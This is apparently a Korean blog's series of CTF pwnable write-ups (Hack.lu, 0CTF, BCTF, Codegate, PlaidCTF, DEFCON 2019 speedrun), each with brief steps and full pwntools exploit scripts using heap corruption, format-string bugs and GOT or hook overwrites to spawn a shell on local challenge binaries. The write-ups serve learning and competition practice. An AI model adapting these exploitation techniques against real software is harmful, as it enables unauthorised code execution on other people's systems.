Write-up/Pwnable

[2015 Hack.lu] bookstore

2019. 8. 1. 01:03

overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.

처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...


그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...

fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...


1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능

2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능

3. printf(dest)에서 FSB 가능



그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.


4. fsb로 stack_address와 libc_address를 leak

5. .fini_array를 main으로 덮는다.

6. 다시 main으로 돌아와 위의 과정을 수행.

7. fsb로 return address를 oneshot_gadget으로 덮는다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
 
conn = process("./books")
 
def order(id, data):
    conn.sendlineafter("5: Submit"str(id))
    conn.recvuntil("Enter first order:")
    conn.sendline(data)
 
def remove(id):
    conn.sendlineafter("5: Submit"str(id+2))
 
def submit(choice):
    conn.sendlineafter("5: Submit""5"+"\x00"*7+choice)
 
fini_array = 0x6011b8
free_got = 0x6013b8
 
# stage 1
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
payload  = "A"*8
payload += "%"+str(0xa39)+"c"
payload += "%13$hn"
payload += "%2$p "
payload += "%17$p"
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(fini_array))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
# leak
conn.recvuntil("0x")
leaks = conn.recvuntil("AAAAA")[:-5].strip().split(" ")
 
libc_base = int("0x"+leaks[0], 16- 0x3c6780
ret_addr = int(leaks[1], 16- 0x200
log.info("libc_base : " + hex(libc_base))
log.info("ret_addr : " + hex(ret_addr))
 
#stage 2
remove(2)
order(1"A"*(0x88)+p64(0x151))
 
one_gadget = libc_base + 0x45216
log.info("one_gadget : " + hex(one_gadget))
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
head = (one_gadget >> 16& 0xFFFF
tail = one_gadget & 0xFFFF
 
payload  = "A"*8
payload += "%"+str(head)+"c"
payload += "%13$hn"
payload += "%"+str((0x10000+tail-head)%0x10000)+"c"
payload += "%14$hn"
 
payload += "A"*(108-len(payload))
 
order(1, payload)
submit(p64(ret_addr+2+ p64(ret_addr))
conn.recvuntil("Order 2:")
conn.recvuntil("Order 2:")
 
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[hack.lu CTF 2014] OREO

2019. 7. 27. 00:42

오레오라는 문제를 풀어보았다.


house of spirit 공부하면서 풀어본 문제.



1. add메뉴를 통해 라이플을 0x40개만큼 만든다.

2. leave메뉴를 통해, 위의 라이플 0x40의 카운트를 fake chunk1로 하여 fake chunk2를 구성해준다.

3. house of spirit를 트리거하여 bss영역에 있는 fake chunk1을 free한다.

4. free된 fake chunk를 할당하여 notice에 적힌 ptr을 sscanf_got로 변경한다.

5. show stat을 통해 ssanf_addr leak 가능

6. leave를 통해 sscanf_got overwrite 가능. system으로 덮어씌우고, /bin/sh를 쳐준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
from pwn import *
 
conn = process("./oreo")
conn.recvuntil("What would you like to do?")
 
def add(name, desc):
    conn.sendline("1")
    conn.sendline(name)
    conn.sendline(desc)
 
def show_r():
    conn.sendline("2")
    
def order():
    conn.sendline("3")
 
def leave(msg):
    conn.sendline("4")
    conn.sendline(msg)
    
def show_s():
    conn.sendline("5")
    
for i in range(00x40):
    add("asdf""asdf")
 
fake_chunk  = "A"*0x1c
fake_chunk += p32(0)
fake_chunk += p32(0)+p32(0x300)
leave(fake_chunk)
 
fake_addr = 0x804a2a8
 
add("A"*27+p32(fake_addr), "fake")
# all free, house of spirit
order()
 
 
# overwrite notice ptr
sscanf_got = 0x804A258
add("AA", p32(sscanf_got))
conn.recvuntil("Okay order submitted!\n")
 
#leak
show_s()
conn.recvuntil("Order Message: ")
sscanf_addr = u32(conn.recv(4))
log.info("sscanf_addr : " + hex(sscanf_addr))
 
base_addr = sscanf_addr-0x5c4c0
system_addr = base_addr + 0x3ada0
 
log.info("base_addr   : " + hex(sscanf_addr))
log.info("system_addr : " + hex(system_addr))
 
# overwrite sscanf_got -> system_addr
leave(p32(system_addr))
conn.sendline("/bin/sh")
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[0CTF 2016] zerostorage

2019. 7. 26. 02:25

이번에는 unsorted bin attack 공격

global_max_fast를 main_arena+88로 덮어서 모든 heap이 fastbin처럼 동작되게 만들었다.


취약점은 merge에서 일어나는데,, 이걸 한참을 못찾았다.

왠지 여기서 일어날것같았는데 ㅁㄴㅇㄹ

merge할때, from id와 to id가 같은 값이 들어와도 이를 검사하지않아, UAF 취약점이 발생한다.

이를 통해서 free된 청크에 값을 쓸 수 있고, 이 free된 청크가 unsorted bin이기 때문에 global_max_fast를 덮을 수 있는 것.


그런데 이렇게해놓고 unsorted bin이 망가져서 다른 청크를 할당할 수 없엇는데...

이전에 마지막으로 할당한 top chunk에 가까운 영역을 merge(same_hunk_id, same_chunk_id)해서 unsortedbin 안거치고 크기를 늘리거나 할당하여 free를 할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
from pwn import *
 
conn = process("./zerostorage")
 
def insert(size, data):
    conn.sendlineafter("Your choice: "str("1"))
    conn.sendlineafter("Length of new entry: "str(size))
    conn.sendafter("data: ", data)
 
def update(id, size, data):
    conn.sendlineafter("Your choice: "str("2"))
    conn.sendlineafter("ID: "str(id))
    conn.sendlineafter("entry: "str(size))
    conn.sendafter("data: ", data)
 
def merge(fid, tid):
    conn.sendlineafter("Your choice: "str("3"))
    conn.sendlineafter("ID: "str(fid))
    conn.sendlineafter("ID: "str(tid))
 
def remove(id):
    conn.sendlineafter("Your choice: "str("4"))
    conn.sendlineafter("ID: "str(id))
 
def view(id):
    conn.sendlineafter("Your choice: "str("5"))
    conn.sendlineafter("ID: "str(id))
    
def list():
    conn.sendlineafter("Your choice: "str("6"))
 
insert(0x10"A"*0x10)
insert(0xf8"B"*0xf8)
 
# trigger bug
merge(00)     # 2
 
# leak main_arena
view(2)
conn.recvuntil(":\n")
main_arena = u64(conn.recv(6).ljust(8"\x00"))
libc_base = main_arena - 0x3c4b78
system_addr = libc_base + 0x45390
 
log.info("libc_base  : " + hex(libc_base))
log.info("libc_base  : " + hex(libc_base))
log.info("main_arena : " + hex(main_arena))
 
global_max_fast = libc_base + 0x3c67f8
log.info("global_max_fast : " + hex(global_max_fast))
 
free_hook = libc_base + 0x3c67a8
log.info("free_hook : " + hex(free_hook))
 
target = free_hook - 0x59
 
# unsorted bin attack
payload  = "A"*8
payload += p64(global_max_fast-0x10)
payload += "A"*16
 
log.info("len : "+hex(len(payload)))
 
# overwrite global_max_fast
update(20x20, payload)
insert(0x10"/bin/sh\x00"+"A"*8)   # 0
 
# double free
merge(11#3
 
target = free_hook - 0x59
 
payload = p64(target)
payload += "A"*(0xf8*2 - 8)
update(30xf8*2, payload) 
 
insert(0x1f0"A"*0x1f0)
 
 
# overwrite free_hook to system
payload  = "\x00"*0x49
payload += p64(system_addr)
payload += "\x00"*(0x1f0-0x49-8)
 
insert(0x1f0, payload)
remove(0)
 
 
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[hack.lu CTF 2014] OREO  (0) 2019.07.27
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

[BCTF 2016] bcloud

2019. 7. 26. 02:18

tistory 블로그에 writeup쓰는 것이 너무 귀찮아지고 잇다...

언젠가 github 블로그로 옮겨야지 ㅁㄴㅇㄹ


bcloud를 풀어보았다. 최근 마크다운으로 롸업을 쓰다보니 티스토리를 못써먹겟지만... 깃헙 블로그 만드는게 귀찮으니 그냥 써야겟다....

익스는 아래와 같이 진행하였다.


취약점 : House of force


1. name입력에서 0x40만큼 꽉 채워입력하여 heap_addr를 leak

2. house of force를 이용하여 free_got영역에서부터 다음영역을 할당받을 수 있게 한다.

3. exit_got를 main으로 바꾸고, 나머지 got영역은 원래 함수의 plt+6지점으로 덮는다.

4. setvbuf함수도 puts_plt+6으로 덮는다.

5. 일부러 exit


6. main함수로 돌아와 puts(stdin), puts(stdout), puts(stderr)가 출력되어 leak이 가능하다.

7. leak한 값을 토대로 system함수 주소를 구한다.

8. atoi함수를 system함수로 덮어서 쉘을 획득.



다해놓고보니 그냥 사실 bss영역에 할당되는 heap 노트영역? 노트엿나 뭐였나 어쨋든 그부분을 덮어서 edit해도 되는 것이였다...

나는 edit이 없는줄 알았는데 있더라;;

아무튼 이렇게도 풀수있더라~



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
 
conn = process("./bcloud")
 
conn.sendafter("name:""A"*0x40)
conn.recvuntil("A"*0x40)
 
heap_addr = u32(conn.recv(4))
 
log.info("heap : " + hex(heap_addr))
 
conn.sendafter("Org:""B"*0x40)
conn.sendlineafter("Host:", p64(0xFFFFFFFF))
 
def new(size, content):
    conn.sendlineafter("option--->>""1")
    conn.sendlineafter(":"str(size))
    conn.sendlineafter("content:", content)
    
def edit(idx, content):
    conn.sendlineafter("option--->>""3")
    conn.sendlineafter("id:"str(idx))
    conn.sendlineafter("content:", content)
 
def rm(idx):
    conn.sendlineafter("option--->>""4")
    conn.sendlineafter("id:"str(idx))
 
read_got = 0x804b00c
 
top = heap_addr + 0xd0
force =  read_got - top - 0x8
log.info("force : " + str(force))
 
# force
conn.sendlineafter("option--->>""1")
conn.sendlineafter(":"str(force))
 
main_addr = 0x8048C81
puts_plt = 0x8048520
 
payload  = "A"*4            # __stack_chk_fail
payload += p32(0x8048506)   # strcpy -> strcpy_plt+6
payload += p32(0x8048516)   # malloc -> malloc_plt+6
payload += p32(puts_plt+6)  # puts
payload += "A"*4            
 
payload += p32(main_addr)   # exit
payload += "A"*4
 
payload += p32(puts_plt)    # set
payload += p32(0x8048576)   # memset_plt+6
payload += p32(0x8048586)   # atoi_plt+6
 
 
new(0x200, payload)
 
#context.log_level = "debug"
conn.sendlineafter("option--->>""6")
conn.recvuntil("Bye!\n\n")
conn.recv(4)
stdin_addr = u32(conn.recv(4)) - 71
base_addr = stdin_addr - 0x1b25a0
log.info("stdin_addr : " + hex(stdin_addr))
log.info("base_addr  : " + hex(base_addr))
 
system_addr = base_addr + 0x3ada0
 
conn.sendlineafter("name:""A")
conn.sendlineafter("Org:""B")
conn.sendlineafter("Host:""C")
 
payload  = "A"*4
payload += p32(0x8048506)
payload += p32(0x8048516)
payload += p32(puts_plt+6)
payload += "A"*4
 
payload += p32(main_addr)
payload += "A"*4
 
payload += p32(puts_plt)
payload += p32(0x8048576)
payload += p32(system_addr)
 
edit(1, payload)
conn.sendlineafter("option--->>""/bin/sh")
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14

[CODEGATE 2015] yocto (RTDL)

2019. 7. 13. 00:24

codegate의 rtdl 문제


이 포맷을 사용해서 계속해서 풀어나가면 될 것 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
 
elf = ELF('./yocto')
 
# get section address
dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
relplt     = elf.get_section_by_name('.rel.plt').header['sh_addr']
plt_addr    = elf.get_section_by_name('.plt').header['sh_addr']
bss        = elf.get_section_by_name('.bss').header['sh_addr']
read_got = elf.got['read']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(dynsym)   + "  (SYMTAB)")
log.info('.dynstr  : ' + hex(dynstr)   + "  (STRTAB)")
log.info('.rel.plt : ' + hex(relplt)   + "  (JMPREL)")
log.info('.plt     : ' + hex(plt_addr) + "  (jmp _dl_runtime_resolve)")
log.info('.bss     : ' + hex(bss))
log.info('read_got : ' + hex(read_got))
 
stack_size = 0x300
glob = 0x80495C0
base_stage = bss + stack_size
base_stage = glob
 
fake_reloc  = base_stage + 24 + 12
fake_sym    = fake_reloc + 8    # base_stage + 28
fake_symstr = fake_sym + 16     # "system\x00" address offset
fake_cmd    = fake_symstr +7    # "/bin/sh\x00" address 
  
fake_reloc_offset = fake_reloc - relplt
# this value should be able to divide by 16.
fake_r_info       = ((fake_sym - dynsym) * 16& ~0xFF    #FAKE ELF32_R_SYM, index offset(16 byte index) 
fake_r_info       = fake_r_info | 0x7                     #FAKE ELF32_R_TYPE
# this value should be able to divide by 16.
systemName_index      = fake_symstr - dynstr    # system_name addr - STRTAB(dynstr)
 
log.info('')
log.info('Fake Struct Information')
log.info('fake_reloc_offset : ' + hex(fake_reloc_offset))
log.info('fake_cmd   : ' + hex(fake_cmd))
log.info('read_got   : ' + hex(read_got))
log.info('fake_r_info   : ' + hex(fake_r_info))
log.info('systemName_index   : ' + hex(systemName_index))
 
#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
payload  = "."
payload += str(fake_reloc_offset)  # fake_rel - JMPREL
payload += "."
payload += str(plt_addr)           # jmp _dl_runtime_resolve
payload += ";sh;"
payload += "A"*(32 - len(payload))
#Argument of the function
payload += p32(fake_cmd)    # this payload is not use this
#Fake Elf32_Rel
payload += p32(read_got)    # fisrt 4byte : call function got (any function got)
payload += p32(fake_r_info) # 1byte relocation type and 3byte FAKE ELF32_R_SYM index offset
#Fake Elf32_Sym
payload += p32(systemName_index)    # elf32_sym(dynstr) index : system_name addr - STRTAB(dynstr)
payload += p32(0)               
payload += p32(0)
payload += p8(0)        
payload += p8(0)        # this value must be 0
payload += p16(0x12)
#String "system"
payload += 'system\x00'
#String "/bin/sh"
payload += '/bin/sh\x00'
 
conn = process("./yocto")
log.info("payload len : " + hex(len(payload)))
conn.sendline(payload)
 
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[0CTF 2016] zerostorage  (0) 2019.07.26
[BCTF 2016] bcloud  (0) 2019.07.26
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09

[PlaidCTF 2015] plaiddb writeup

2019. 7. 11. 21:24


3일간에 걸려 푼 문제다.

익스가 매번 성공하는 것은 아니고 가끔 실패하는데 이유는 모르겠다.


poison null byte 공부하는데 도움이 된 것 같기도 하고 아닌 것같기도...

문제 자체가 조금 어렵다.


일단 익스는 아래와 같이 진행하였다.

1단계

1. chunk들을 잘 조절하여 poison_null_byte를 trigger한다.

2. 위 방법을 통해 db청크하나를 오버랩시키고, db청크의 data_size부분을 top chunk의 size로 오버랩시킨다.

3. 위를 통해서 db청크를 GET을 통해 검색하게되면 0x20000정도의 memory를 write로 뿌려주게 된다.

4. heap과 libc를 leak 한다.


2단계.

1. 0x71정도 사이즈의 chunk를 free하고 청크조작을 통해 fd를 realloc_hook-0x13의 주소로 덮는다.

2. realloc_hook을 system함수주소로 덮는다.

3. GET을 통해서 "/bin/sh\x00\x00 ... \x00"을 통해서 realloc을 트리거한다.

4. 쉘을 획득


처음에는 malloc_hook을 oneshot가젯으로 덮어 malloc 호출로 쉘을 따려고 했으나, 모든 원샷가젯이 작동하지않았다.

아마 rsp+a가 NULL이 아니라서 인것같은데... 뭘 어떻게 해줄수가 없어서 대신 realloc_hook을 덮어 realloc 호출 유도로 system함수 실행을 통해 쉘을 획득하는 방식으로 바꾸었다.


중간에 청크 조작때문에 서로가 서로를 덮는 상황이 발생하는데, 이 때 쓰기 불가능한 영역을 덮게 되어 error가 나는 경우가 있으니, leak한 쓰기 가능한 영역을 적절히 잘덮어써주면 error를 회피할 수 있다. 

또 이게 익스가 매번 되는게 아니라, 가끔 실패하는데 이유는 정확히 모르겠다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/env python
from pwn import *
 
conn = process("./datastore.elf")
 
def get(key):
    conn.sendlineafter("command:""GET")
    conn.sendlineafter("key:", key)
 
def put(key, size, data):
    conn.sendlineafter("command:""PUT")
    conn.sendlineafter("key:", key)
    conn.sendlineafter("size:"str(size))
    conn.sendafter("data:", data)
 
def dump():
    conn.sendlineafter("command:""DUMP")
 
def delete(key):
    conn.sendlineafter("command:""DEL")
    conn.sendlineafter("key:", key)
    
def exit():
    conn.sendlineafter("command:""EXIT")
 
 
put("A"0x100"1"*0x100)
delete("th3fl4g")
put("B"0x200"2"*(0x200-0x10)+p64(0x200)+p64(0))
delete("A")
put("C"0x110"3"*0x110)
 
# setting poison_null_byte
delete("B")
put("D"0x50"4"*0x50)
get("A"*0x18)   # off-by-one, poison_null_byte
 
put(""0x80"5"*0x80)   # b1
put("b2"0x40"6"*0x40# overlap chunk
 
delete("")
 
# consolidate
delete("C")
 
 
# remove fastbins and raise the heap address.
put("BBBB"0x8"D"*0x8)
put("CCCC"0x8"D"*0x8)
put("EEEE"0x8"D"*0x8)
 
payload = "A"*0xa0
put("Attack"len(payload), payload)
 
 
get("b2"# b2 chunk size overwrite top chunk size
"""
A  start --------------------------------
                             b_header
b2 start --------------------------------
            key_ptr     |  data_size & top chunksize
            data_ptr    |  
A  end   -------------------------------- top chunksize
                              prev_db
b2 end   --------------------------------
"""
 
"""
$ DUMP
INFO: Dumping all rows.
INFO: Row [Attack], 160 bytes
INFO: Row [BBBB], 8 bytes
INFO: Row [CCCC], 8 bytes
INFO: Row [D], 80 bytes
INFO: Row [EEEE], 8 bytes
INFO: Row [\xb0\x82uUUU], 134481 bytes  << 0x20d51 topchunk size
PROMPT: Enter command:
"""
 
# leak address
conn.recvuntil(" bytes]:")
conn.recvuntil("BBBB")
conn.recv(4)
 
libc_base = u64(conn.recv(8)) - 0x3c4b78
log.info("libc_base : " + hex(libc_base))
 
conn.recvuntil("2"*8)
conn.recv(8)
heap_addr = u64(conn.recv(8)) - 0x3a0
log.info("heap_addr : " + hex(heap_addr))
 
# make fake_chunk b2
fake_chunk  = p64(u16('b2')) + p64(0x41)
fake_chunk += p64(heap_addr + 0x50)
fake_chunk += p64(0x20d71)
fake_chunk += p64(heap_addr + 0x2f0+ p64(0)
fake_chunk += p64(0+ p64(0)
fake_chunk += p64(0+ p64(0x71)
 
get(fake_chunk)
get("A"*0x30)
 
delete("b2")
 
 
# target address
realloc_hook = libc_base + 0x3c4b10 - 0x13 - 0x10
system_addr  = libc_base + 0x45390
 
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
 
# fastbin link control
payload  = p64(heap_addr+0x20)*8        ## avoid error
payload += p64(0+ p64(0x71)
payload += p64(realloc_hook) + p64(0)
payload += "A"*0x10
put("A"*0x400x70, payload)
 
put("AAAS"0x68, p64(heap_addr)*13)
 
 
payload = "A"*3
payload += p64(libc_base + 0x85e20)     ## avoid error
payload += p64(system_addr)  # realloc_hook
payload += p64(0)            # malloc_hook
payload += p64(heap_addr+0x40)*9
payload += "A"*5
 
put("BBBS"0x68, payload)
get("/bin/sh" + "\x00"*0x20)
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14
[Codegate 2019] aeiou Write-up  (0) 2019.02.09
[Codegate 2019] 20000 ( grep 이용하기)  (0) 2019.01.30

[DEFCON 2019 Quals] speedrun

2019. 5. 14. 16:10

Speedrun Exploit code - github

speedrun-001

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
  1. stage 1. Write "/bin/sh\x00" in the bss area`
  2. stage 2. execve("/bin/sh", NULL, NULL);`
  3. get shell

SROP 문제입니다. "/bin/sh"를 read를 이용해 bss영역에 쓰고 execve를 syscall하여 shell을 획득합니다.

attack_speedrun001.py


speedrun-002

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

이번엔 ROP입니다. puts를 이용해서 puts나 read의 함수주소를 leak하고, onegadget을 이용하여 바로 exploit해줬습니다.

attack_speedrun002.py


speedrun-004

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

speedrun001과 비슷합니다. srop를 사용합니다. 257바이트까지 입력할 수있는데 1바이트 오버플로우가 나서 rbp의 하위 1바이트를 덮을 수 있습니다. fake ebp -> ret sled -> srop 순서로 공격하면됩니다. rbp의 하위 1바이트를 \x00으로 하고 ret가젯을 충분히 넣어두면 알아서 srop에 해당하는 부분(shellcode)으로 갈 것입니다.

attack_speedrun004.py


speedrun-005

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

#포맷스트링버그 #FSB

너무 멍청하게 풀어서 대회 당시에 4시간이나 삽질을 한 문제이다. printf(&buf)에서 FSB가 터지는데, printf로 출력할 때 \x00을 만나면 거기까지만 출력해준다. 그런데 여기서 멍청하게 생각을 못한게 어짜피 read로 읽어서 스택에는 데이터가 들어간다는것을 잊고있었다.(아오) 

그래서 그냥 스택에 got를 적당한것 puts GOT를 넣고 다시 FSB를 읽으켜서 GOT를 원샷으로 덮어주면 간단하다. 이걸 못맞추다니;;; 근데 끝나고 풀어보려고하니까 데프콘서버쪽에 바이너리가 바뀌어서 익스가 안됨 ㅡㅡ; 서버쪽에는 puts GOT가 0x601020이던데, 뭔일인지...

참고로 FSB payload는 pwntool의 fmtstr_payload를 쓰면 빠르게 할 수 있다. 물론 이 함수가 조금 멍청해서 target_address를 payload앞에 집어넣어서 64bit환경일 경우 printf에서 \x00으로 진작에 끊겨버리므로 아래와 같은 트릭을 써서 따로 계산해주는게 낫다.

# make fsb payload
context.clear(arch = 'amd64')
fsb_payload = fmtstr_payload(30, writes={print_got:0x40069D}, numbwritten=(-64+24), write_size='byte')

# this function create stupid string. start payload null(\x00)
# null(\x00) is string end, printf is end. so addresses need to go to the payload end
# so,  numbwritten=(-64+24) is alreay payload(24) + got_address(-8*8=-64)
fsb_payload = fsb_payload[64:]			

# leak _IO_stdfile_1_lock
# stage 1. puts GOT overwrite FSB vuln function
payload = "%122$16lx" 		# start offset 6
payload += "A"*8
payload += fsb_payload
payload += ((8*24)-len(payload))*"A"	# padding 30-6 offset (target_offset - strat_offset)
payload += p64(print_got)
payload += p64(print_got + 1)
payload += p64(print_got + 2)
payload += p64(print_got + 3)
payload += p64(print_got + 4)
payload += p64(print_got + 5)
payload += p64(print_got + 6)
payload += p64(print_got + 6)
payload += p64(print_got + 7)

대략 설명하면 30오프셋부터 print_got가 나온다고보고 numbwritten은 기존 페이로드에 먼저쓰인 16+8바이트에 쓸모없는 64를 뺀 값을 넣고, byte단위의 FSB payload이므로 8개의 address를 맨뒤에 넣어준다. 중간에 중요한 fsb다음에는 30오프셋까지 패딩해주면된다.

attack_speedrun005.py


speedrun-007

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

OOB라고 해야할까. 암튼 Relative write가 가능하다. 0x638을 오프셋으로하면 main함수의 ret(__libc_start_main+231)를 덮어쓸 수 있는데, 이것을 onegadget으로 덮으면 main에서 리턴하면 쉘이 따진다.

물론 확률이 낮다. libc_base + 0x4f322이므로 뒤 6자리만 잘 맞추면 쉘이 따지는데, 여기서 뒤 3자리는 알고 있으니 나머지 16진수 3자리를 맞춰주면 된다. 즉 경우의 수는 0x000~0xFFF로 4096개이다.

그런데, leak도 한번 제대로 못해봣는데... 이렇게 대충 one_gadget으로 맞추는 문제로 괜찮은건가? 게다가 speedrun이라고 문제를 내놓고 확률에 맡기는 문제라니 ... 좋은 문제는 아니지만 이렇게 풀수도있다는 것을 보여주는 문제인 것같다.

attack_speedrun007.py



speedrun-008

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

그냥 실행하면 아무것도 안뜬다. 그래서 시작하자마자 엄청 답답한 문제였는데... 사실 무한루프를 도는 것이다;

그리고 문제를 잘 읽었어야했다. speedrun001을 보면 아래와 같이 적혀잇다.

For all speedrun challenges, flag is in /flag

그리고 이 문제를 strace로 돌려보면

myria@ubuntu:~/CTF/DEFCON2019/speedrun008$ strace ./speedrun-008
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1)             = -1 EBADF (Bad file descriptor)
...
...

망할 뭔가 계속 read 실패로 무한루프를 돈다. 그리고 서버에 접속해보면 프로그램이 정상적으로 실행되는 것을 알 수 있는데... 이게 로컬에서 안돌아가는 이유가 /flag가 없어서이다...

어우야ㅠ..

그리고 IDA에서 발견한 또 한가지...

.init_array:00000000006B6138 ; Segment type: Pure data
.init_array:00000000006B6138 ; Segment permissions: Read/Write
.init_array:00000000006B6138 ; Segment alignment 'qword' can not be represented in assembly
.init_array:00000000006B6138 _init_array     segment para public 'DATA' use64
.init_array:00000000006B6138                 assume cs:_init_array
.init_array:00000000006B6138                 ;org 6B6138h
.init_array:00000000006B6138 off_6B6138      dq offset sub_400B20    ; DATA XREF: .text:0000000000401A22↑o
.init_array:00000000006B6138                                         ; .text:0000000000401A2B↑o ...
.init_array:00000000006B6140                 dq offset init_canary
.init_array:00000000006B6148                 dq offset sub_4005A0
.init_array:00000000006B6148 _init_array     ends

.init_array에 sub_400B4D가 등록되있는데, 임의로 이름은 init_canary로 변경하였다. 이런 문제 예전에도 보았다. canary 우회방법중 하나로 Canary 루틴 노출이 유출되었을때가 있었는데... 멍청하게 또 잊어버림 ㅡㅡ;

예전에 풀었던 Canary 루틴 노출문제

